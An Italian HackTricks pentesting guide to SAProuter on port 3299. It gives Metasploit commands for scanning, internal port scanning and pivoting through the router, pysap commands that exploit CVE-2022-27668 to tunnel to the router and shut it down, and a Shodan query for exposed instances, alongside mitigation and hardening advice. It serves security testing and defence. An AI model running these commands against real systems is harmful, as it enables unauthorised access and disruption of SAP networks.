# 3299/tcp - Pentesting SAProuter
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
Questo è un riepilogo del post da https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/
Comprendere la Penetrazione di SAProuter con Metasploit
SAProuter funge da proxy inverso per i sistemi SAP, principalmente per controllare l'accesso tra internet e le reti SAP interne. È comunemente esposto a internet consentendo il passaggio della porta TCP 3299 attraverso i firewall organizzativi. Questa configurazione rende SAProuter un obiettivo attraente per il pentesting perché potrebbe fungere da gateway per reti interne di alto valore.
Scansione e Raccolta di Informazioni
Inizialmente, viene eseguita una scansione per identificare se un router SAP è in esecuzione su un dato IP utilizzando il modulo sap_service_discovery. Questo passaggio è cruciale per stabilire la presenza di un router SAP e della sua porta aperta.
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
A seguito della scoperta, viene effettuata un'ulteriore indagine sulla configurazione del router SAP utilizzando il modulo sap_router_info_request per rivelare potenzialmente dettagli sulla rete interna.
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
Enumerare i Servizi Interni
Con le informazioni ottenute dalla rete interna, il modulo sap_router_portscanner viene utilizzato per sondare gli host e i servizi interni attraverso il SAProuter, consentendo una comprensione più profonda delle reti interne e delle configurazioni dei servizi.
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
La flessibilità di questo modulo nel mirare a specifiche istanze SAP e porte lo rende uno strumento efficace per un'esplorazione dettagliata della rete interna.
Enumerazione Avanzata e Mappatura ACL
Ulteriori scansioni possono rivelare come sono configurate le Liste di Controllo degli Accessi (ACL) sul SAProuter, dettagliando quali connessioni sono consentite o bloccate. Queste informazioni sono fondamentali per comprendere le politiche di sicurezza e le potenziali vulnerabilità.
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
Enumerazione cieca degli host interni
In scenari in cui le informazioni dirette dal SAProuter sono limitate, possono essere applicate tecniche come l'enumerazione cieca. Questo approccio tenta di indovinare e verificare l'esistenza di nomi host interni, rivelando potenziali obiettivi senza indirizzi IP diretti.
Sfruttare le informazioni per il penetration testing
Dopo aver mappato la rete e identificato i servizi accessibili, i penetration tester possono utilizzare le capacità di proxy di Metasploit per pivotare attraverso il SAProuter per ulteriori esplorazioni e sfruttamenti dei servizi SAP interni.
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
Conclusione
Questo approccio sottolinea l'importanza di configurazioni sicure di SAProuter e evidenzia il potenziale per accedere a reti interne attraverso test di penetrazione mirati. Proteggere adeguatamente i router SAP e comprendere il loro ruolo nell'architettura della sicurezza di rete è cruciale per proteggere contro accessi non autorizzati.
Per ulteriori informazioni dettagliate sui moduli Metasploit e il loro utilizzo, visita Rapid7's database.
Vulnerabilità Recenti (2022-2025)
CVE-2022-27668 – Controllo degli Accessi Inadeguato ➜ Esecuzione di Comandi Amministrativi Remoti
Nel giugno 2022 SAP ha rilasciato la Nota di Sicurezza 3158375 che affronta una vulnerabilità critica (CVSS 9.8) in SAProuter (tutti i kernel ≥ 7.22). Un attaccante non autenticato può abusare delle voci permissive di saprouttab
per inviare pacchetti di amministrazione (ad es. shutdown, trace-level, connection-kill) da un host remoto, anche quando il router è stato avviato senza l'opzione -X
remote-admin.
Il problema deriva dalla possibilità di costruire un tunnel all'interfaccia di loopback del router mirato all'indirizzo non specificato 0.0.0.0. Una volta stabilito il tunnel, l'attaccante ottiene privilegi di host locale e può eseguire qualsiasi comando amministrativo.
Lo sfruttamento pratico può essere riprodotto con il framework pysap:
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
Versioni interessate
- SAProuter autonomo 7.22 / 7.53
- Kernel 7.49, 7.77, 7.81, 7.85–7.88 (incl. KRNL64NUC/UC)
Correzione / Mitigazione
- Applicare la patch fornita con SAP Note 3158375.
- Rimuovere i target wildcard (
*
) dalle righeP
eS
insaprouttab
. - Assicurarsi che il router venga avviato senza l'opzione
-X
e non sia esposto direttamente a Internet.
Strumenti e trucchi aggiornati
- pysap – attivamente mantenuto e fornisce
router_portfw.py
,router_admin.py
&router_trace.py
per creare pacchetti NI/Router personalizzati, fuzzing ACL o automatizzare lo sfruttamento di CVE-2022-27668. - Nmap – estendere il rilevamento dei servizi aggiungendo la sonda SAProuter personalizzata:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
Combinare con script NSE o --script=banner
per identificare rapidamente le versioni che rivelano la stringa del banner (SAProuter <ver> on '<host>'
).
- Metasploit – i moduli ausiliari mostrati sopra funzionano ancora attraverso un proxy SOCKS o NI creato con pysap, abilitando l'integrazione completa del framework anche quando il router blocca l'accesso diretto.
Checklist di indurimento e rilevamento
- Filtrare la porta 3299/TCP sul firewall perimetrale – consentire il traffico solo da reti di supporto SAP fidate.
- Mantenere SAProuter completamente aggiornato; verificare con
saprouter -v
e confrontare con l'ultimo livello di patch del kernel. - Utilizzare voci specifiche per host in
saprouttab
; evitare wildcard*
e negare le regoleP
/S
che mirano a host o porte arbitrarie. - Avviare il servizio con
-S <secudir>
+ SNC per imporre la crittografia e l'autenticazione reciproca. - Disabilitare l'amministrazione remota (
-X
) e, se possibile, legare il listener a127.0.0.1
utilizzando un proxy inverso esterno per il traffico necessario. - Monitorare il log dev_rout per pacchetti
ROUTER_ADM
sospetti o richiesteNI_ROUTE
inaspettate a0.0.0.0
.
Riferimenti
- https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/
- https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/
Shodan
port:3299 !HTTP Network packet too big
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.